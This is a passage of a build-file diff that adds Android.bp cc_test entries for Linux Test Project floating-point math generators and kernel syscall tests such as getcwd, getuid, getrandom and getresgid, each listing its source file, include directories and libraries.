+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genfloor.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genfmod",
+    stem: "genfmod",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genfmod.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genfrexp",
+    stem: "genfrexp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genfrexp.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genhypot",
+    stem: "genhypot",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genhypot.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_geniperb",
+    stem: "geniperb",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/iperb/geniperb.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genj0",
+    stem: "genj0",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genj0.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genj1",
+    stem: "genj1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genj1.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genldexp",
+    stem: "genldexp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genldexp.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genlgamma",
+    stem: "genlgamma",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genlgamma.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genlog",
+    stem: "genlog",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genlog.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genlog10",
+    stem: "genlog10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genlog10.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genmodf",
+    stem: "genmodf",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genmodf.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genpow",
+    stem: "genpow",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genpow.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genpower",
+    stem: "genpower",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genpower.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gensin",
+    stem: "gensin",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/gensin.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gensinh",
+    stem: "gensinh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/iperb/gensinh.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gensqrt",
+    stem: "gensqrt",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/gensqrt.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gentan",
+    stem: "gentan",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/gentan.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gentanh",
+    stem: "gentanh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/iperb/gentanh.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gentrigo",
+    stem: "gentrigo",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/gentrigo.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_geny0",
+    stem: "geny0",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/geny0.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_geny1",
+    stem: "geny1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/geny1.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_get_mempolicy01",
+    stem: "get_mempolicy01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/get_mempolicy/get_mempolicy01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_get_robust_list01",
+    stem: "get_robust_list01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/get_robust_list/get_robust_list01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getaddrinfo_01",
+    stem: "getaddrinfo_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/lib6/getaddrinfo_01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getcpu01",
+    stem: "getcpu01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getcpu/getcpu01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getcwd01",
+    stem: "getcwd01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getcwd/getcwd01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getcwd02",
+    stem: "getcwd02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getcwd/getcwd02.c"],
+    cflags: ["-U_FORTIFY_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getcwd03",
+    stem: "getcwd03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getcwd/getcwd03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getcwd04",
+    stem: "getcwd04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getcwd/getcwd04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getdents01",
+    stem: "getdents01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getdents/getdents01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getdents02",
+    stem: "getdents02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getdents/getdents02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getdomainname01",
+    stem: "getdomainname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getdomainname/getdomainname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getdtablesize01",
+    stem: "getdtablesize01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getdtablesize/getdtablesize01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getegid01",
+    stem: "getegid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getegid/getegid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getegid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getegid01_16",
+    stem: "getegid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getegid/getegid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getegid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getegid02",
+    stem: "getegid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getegid/getegid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getegid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getegid02_16",
+    stem: "getegid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getegid/getegid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getegid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_geteuid01",
+    stem: "geteuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/geteuid/geteuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/geteuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_geteuid01_16",
+    stem: "geteuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/geteuid/geteuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/geteuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_geteuid02",
+    stem: "geteuid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/geteuid/geteuid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/geteuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_geteuid02_16",
+    stem: "geteuid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/geteuid/geteuid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/geteuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgid01",
+    stem: "getgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgid/getgid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgid01_16",
+    stem: "getgid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgid/getgid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgid03",
+    stem: "getgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgid/getgid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgid03_16",
+    stem: "getgid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgid/getgid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getgid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgroups01",
+    stem: "getgroups01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgroups/getgroups01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/getgroups",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgroups01_16",
+    stem: "getgroups01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgroups/getgroups01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/getgroups",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgroups03",
+    stem: "getgroups03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgroups/getgroups03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/getgroups",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getgroups03_16",
+    stem: "getgroups03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getgroups/getgroups03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/getgroups",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_gethostbyname_r01",
+    stem: "gethostbyname_r01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/gethostbyname_r/gethostbyname_r01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_gethostname01",
+    stem: "gethostname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/gethostname/gethostname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getitimer01",
+    stem: "getitimer01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getitimer/getitimer01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getitimer02",
+    stem: "getitimer02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getitimer/getitimer02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getitimer03",
+    stem: "getitimer03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getitimer/getitimer03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpagesize01",
+    stem: "getpagesize01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpagesize/getpagesize01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpeername01",
+    stem: "getpeername01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpeername/getpeername01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpgid01",
+    stem: "getpgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpgid/getpgid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpgid02",
+    stem: "getpgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpgid/getpgid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpgrp01",
+    stem: "getpgrp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpgrp/getpgrp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpid01",
+    stem: "getpid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpid/getpid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpid02",
+    stem: "getpid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpid/getpid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getppid01",
+    stem: "getppid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getppid/getppid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getppid02",
+    stem: "getppid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getppid/getppid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpriority01",
+    stem: "getpriority01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpriority/getpriority01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getpriority02",
+    stem: "getpriority02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getpriority/getpriority02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrandom01",
+    stem: "getrandom01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrandom/getrandom01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrandom02",
+    stem: "getrandom02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrandom/getrandom02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrandom03",
+    stem: "getrandom03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrandom/getrandom03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrandom04",
+    stem: "getrandom04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrandom/getrandom04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid01",
+    stem: "getresgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid01_16",
+    stem: "getresgid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid02",
+    stem: "getresgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid02_16",
+    stem: "getresgid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid03",
+    stem: "getresgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresgid03_16",
+    stem: "getresgid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresgid/getresgid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getresgid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid01",
+    stem: "getresuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid01_16",
+    stem: "getresuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid02",
+    stem: "getresuid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid02_16",
+    stem: "getresuid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid03",
+    stem: "getresuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getresuid03_16",
+    stem: "getresuid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getresuid/getresuid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/getresuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrlimit01",
+    stem: "getrlimit01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrlimit/getrlimit01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrlimit02",
+    stem: "getrlimit02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrlimit/getrlimit02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrlimit03",
+    stem: "getrlimit03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrlimit/getrlimit03.c"],
+    cflags: ["-D_LARGEFILE64_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrusage01",
+    stem: "getrusage01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrusage/getrusage01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrusage02",
+    stem: "getrusage02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrusage/getrusage02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrusage03_child",
+    stem: "getrusage03_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrusage/getrusage03_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getrusage04",
+    stem: "getrusage04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrusage/getrusage04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getsid01",
+    stem: "getsid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getsid/getsid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getsid02",
+    stem: "getsid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getsid/getsid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getsockname01",
+    stem: "getsockname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getsockname/getsockname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getsockopt01",
+    stem: "getsockopt01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getsockopt/getsockopt01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getsockopt02",
+    stem: "getsockopt02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getsockopt/getsockopt02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_gettid01",
+    stem: "gettid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/gettid/gettid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_gettimeofday01",
+    stem: "gettimeofday01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/gettimeofday/gettimeofday01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_gettimeofday02",
+    stem: "gettimeofday02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/gettimeofday/gettimeofday02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getuid01",
+    stem: "getuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getuid/getuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getuid01_16",
+    stem: "getuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getuid/getuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/getuid",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_getuid03",
+    stem: "getuid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getuid/getuid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
